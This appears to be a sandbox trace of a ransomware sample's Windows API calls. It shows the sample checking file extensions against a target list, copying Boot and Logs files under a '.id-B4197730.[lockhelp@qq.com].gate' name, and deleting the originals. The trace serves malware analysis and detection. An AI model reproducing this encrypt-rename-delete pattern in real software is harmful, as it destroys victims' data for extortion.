lstrlenW (lpString=".doc") returned 4 [0121.489] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.489] lstrlenW (lpString=".docx") returned 5 [0121.489] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.489] lstrlenW (lpString=".pdf") returned 4 [0121.489] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.489] lstrlenW (lpString=".xls") returned 4 [0121.489] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.489] lstrlenW (lpString=".xlsx") returned 5 [0121.489] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.489] lstrlenW (lpString=".ppt") returned 4 [0121.489] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.489] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.489] lstrlenW (lpString=".zip") returned 4 [0121.489] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.489] lstrlenW (lpString=".rar") returned 4 [0121.489] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.489] lstrlenW (lpString=".bz2") returned 4 [0121.489] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.489] lstrlenW (lpString=".7z") returned 3 [0121.489] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.489] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.489] lstrlenW (lpString=".dbf") returned 4 [0121.489] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.489] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.489] lstrlenW (lpString=".1cd") returned 4 [0121.489] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0121.489] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.489] lstrlenW (lpString=".jpg") returned 4 [0121.490] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0121.490] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.490] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.490] lstrlenW (lpString=".doc") returned 4 [0121.490] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.490] lstrlenW (lpString=".docx") returned 5 [0121.490] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.490] lstrlenW (lpString=".pdf") returned 4 [0121.490] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.490] lstrlenW (lpString=".xls") returned 4 [0121.490] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.490] lstrlenW (lpString=".xlsx") returned 5 [0121.490] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.490] lstrlenW (lpString=".ppt") returned 4 [0121.490] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.490] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.490] lstrlenW (lpString=".zip") returned 4 [0121.490] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.490] lstrlenW (lpString=".rar") returned 4 [0121.490] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.490] lstrlenW (lpString=".bz2") returned 4 [0121.490] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.490] lstrlenW (lpString=".7z") returned 3 [0121.490] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.490] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.490] lstrlenW (lpString=".dbf") returned 4 [0121.490] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.491] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.491] lstrlenW (lpString=".1cd") returned 4 [0121.491] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0121.491] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0121.491] lstrlenW (lpString=".jpg") returned 4 [0121.491] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0121.491] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0121.491] lstrlenW (lpString="memtest.exe.mui") returned 15 [0121.491] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0121.491] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=45984) returned 1 [0121.491] CloseHandle (hObject=0x368) returned 1 [0121.491] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0121.491] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.491] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.492] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0121.492] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0121.492] lstrlenW (lpString=".doc") returned 4 [0121.492] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0121.492] lstrlenW (lpString=".docx") returned 5 [0121.492] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0121.492] lstrlenW (lpString=".pdf") returned 4 [0121.492] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0121.492] lstrlenW (lpString=".xls") returned 4 [0121.492] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0121.492] lstrlenW (lpString=".xlsx") returned 5 [0121.492] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0121.492] lstrlenW (lpString=".ppt") returned 4 [0121.492] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0121.492] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0121.492] lstrlenW (lpString=".zip") returned 4 [0121.492] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0121.492] lstrlenW (lpString=".rar") returned 4 [0121.492] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0121.492] lstrlenW (lpString=".bz2") returned 4 [0121.492] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0121.492] lstrlenW (lpString=".7z") returned 3 [0121.492] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0121.492] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0121.492] lstrlenW (lpString=".dbf") returned 4 [0121.492] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0121.522] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0121.647] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0121.697] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0122.207] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0122.207] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0122.207] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0122.211] GetLastError () returned 0x0 [0122.211] ReadFile (in: hFile=0x370, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.768] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.770] ReadFile (in: hFile=0x370, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0122.770] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xfa, lpOverlapped=0x0) returned 1 [0122.770] SetEndOfFile (hFile=0x35c) returned 1 [0122.771] CloseHandle (hObject=0x35c) returned 1 [0124.761] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0124.762] SetEndOfFile (hFile=0x370) returned 1 [0124.763] CloseHandle (hObject=0x370) returned 1 [0124.763] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0124.763] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0124.764] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.764] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.764] lstrlenW (lpString=".doc") returned 4 [0124.764] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0124.764] lstrlenW (lpString=".docx") returned 5 [0124.764] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0124.764] lstrlenW (lpString=".pdf") returned 4 [0124.764] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0124.764] lstrlenW (lpString=".xls") returned 4 [0124.764] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0124.764] lstrlenW (lpString=".xlsx") returned 5 [0124.764] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0124.764] lstrlenW (lpString=".ppt") returned 4 [0124.764] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0124.764] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.764] lstrlenW (lpString=".zip") returned 4 [0124.764] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0124.764] lstrlenW (lpString=".rar") returned 4 [0124.764] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0124.764] lstrlenW (lpString=".bz2") returned 4 [0124.765] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0124.765] lstrlenW (lpString=".7z") returned 3 [0124.765] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0124.765] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.765] lstrlenW (lpString=".dbf") returned 4 [0124.765] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0124.765] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.765] lstrlenW (lpString=".1cd") returned 4 [0124.765] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0124.765] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.765] lstrlenW (lpString=".jpg") returned 4 [0124.765] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0124.765] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.765] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.765] lstrlenW (lpString=".doc") returned 4 [0124.765] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0124.765] lstrlenW (lpString=".docx") returned 5 [0124.765] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0124.765] lstrlenW (lpString=".pdf") returned 4 [0124.765] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0124.765] lstrlenW (lpString=".xls") returned 4 [0124.765] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0124.765] lstrlenW (lpString=".xlsx") returned 5 [0124.765] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0124.765] lstrlenW (lpString=".ppt") returned 4 [0124.765] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0124.765] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.766] lstrlenW (lpString=".zip") returned 4 [0124.766] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0124.766] lstrlenW (lpString=".rar") returned 4 [0124.766] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0124.766] lstrlenW (lpString=".bz2") returned 4 [0124.766] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0124.766] lstrlenW (lpString=".7z") returned 3 [0124.766] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0124.766] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.766] lstrlenW (lpString=".dbf") returned 4 [0124.766] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0124.766] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.766] lstrlenW (lpString=".1cd") returned 4 [0124.766] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0124.766] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0124.766] lstrlenW (lpString=".jpg") returned 4 [0124.766] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0124.766] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0124.766] lstrlenW (lpString="Key Management Service.evtx") returned 27 [0124.766] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0124.767] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=69632) returned 1 [0124.767] CloseHandle (hObject=0x370) returned 1 [0124.767] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0124.767] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0124.767] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0124.767] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0124.767] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0124.767] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0124.768] GetLastError () returned 0x0 [0124.768] ReadFile (in: hFile=0x370, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x11000, lpOverlapped=0x0) returned 1 [0124.848] WriteFile (in: hFile=0x37c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x11010, lpOverlapped=0x0) returned 1 [0124.850] ReadFile (in: hFile=0x370, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0124.850] WriteFile (in: hFile=0x37c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x10a, lpOverlapped=0x0) returned 1 [0124.850] SetEndOfFile (hFile=0x37c) returned 1 [0124.851] CloseHandle (hObject=0x37c) returned 1 [0124.865] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0124.865] SetEndOfFile (hFile=0x370) returned 1 [0124.867] CloseHandle (hObject=0x370) returned 1 [0124.867] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0124.867] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0124.868] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.868] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.868] lstrlenW (lpString=".doc") returned 4 [0124.868] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0124.868] lstrlenW (lpString=".docx") returned 5 [0124.868] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0124.868] lstrlenW (lpString=".pdf") returned 4 [0124.868] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0124.868] lstrlenW (lpString=".xls") returned 4 [0124.868] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0124.868] lstrlenW (lpString=".xlsx") returned 5 [0124.868] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0124.868] lstrlenW (lpString=".ppt") returned 4 [0124.868] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0124.868] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.868] lstrlenW (lpString=".zip") returned 4 [0124.868] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0124.868] lstrlenW (lpString=".rar") returned 4 [0124.868] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0124.868] lstrlenW (lpString=".bz2") returned 4 [0124.868] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0124.868] lstrlenW (lpString=".7z") returned 3 [0124.869] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0124.869] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.869] lstrlenW (lpString=".dbf") returned 4 [0124.869] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0124.869] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.869] lstrlenW (lpString=".1cd") returned 4 [0124.869] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0124.869] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.869] lstrlenW (lpString=".jpg") returned 4 [0124.869] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0124.869] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.869] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.869] lstrlenW (lpString=".doc") returned 4 [0124.869] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0124.869] lstrlenW (lpString=".docx") returned 5 [0124.870] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0124.870] lstrlenW (lpString=".pdf") returned 4 [0124.870] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0124.870] lstrlenW (lpString=".xls") returned 4 [0124.870] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0124.870] lstrlenW (lpString=".xlsx") returned 5 [0124.870] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0124.870] lstrlenW (lpString=".ppt") returned 4 [0124.870] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0124.870] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.870] lstrlenW (lpString=".zip") returned 4 [0124.870] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0124.870] lstrlenW (lpString=".rar") returned 4 [0124.870] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0124.870] lstrlenW (lpString=".bz2") returned 4 [0124.870] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0124.870] lstrlenW (lpString=".7z") returned 3 [0124.870] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0124.870] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.870] lstrlenW (lpString=".dbf") returned 4 [0124.871] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0124.871] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.871] lstrlenW (lpString=".1cd") returned 4 [0124.871] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0124.871] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0124.871] lstrlenW (lpString=".jpg") returned 4 [0124.871] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0124.871] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0124.871] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78 [0124.871] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0125.551] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=69632) returned 1 [0125.551] CloseHandle (hObject=0x390) returned 1 [0125.551] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0125.551] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.551] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0125.551] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0125.551] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0125.551] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0125.551] GetLastError () returned 0x0 [0125.551] ReadFile (in: hFile=0x390, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x11000, lpOverlapped=0x0) returned 1 [0125.629] WriteFile (in: hFile=0x394, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x11010, lpOverlapped=0x0) returned 1 [0125.631] ReadFile (in: hFile=0x390, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0125.631] WriteFile (in: hFile=0x394, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x170, lpOverlapped=0x0) returned 1 [0125.632] SetEndOfFile (hFile=0x394) returned 1 [0125.643] CloseHandle (hObject=0x394) returned 1 [0125.646] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0125.646] SetEndOfFile (hFile=0x390) returned 1 [0125.648] CloseHandle (hObject=0x390) returned 1 [0125.648] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0125.648] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0125.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0125.666] lstrlenW (lpString=".doc") returned 4 [0125.666] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.666] lstrlenW (lpString=".docx") returned 5 [0125.666] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.666] lstrlenW (lpString=".pdf") returned 4 [0125.666] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.666] lstrlenW (lpString=".xls") returned 4 [0125.666] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.666] lstrlenW (lpString=".xlsx") returned 5 [0125.666] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.666] 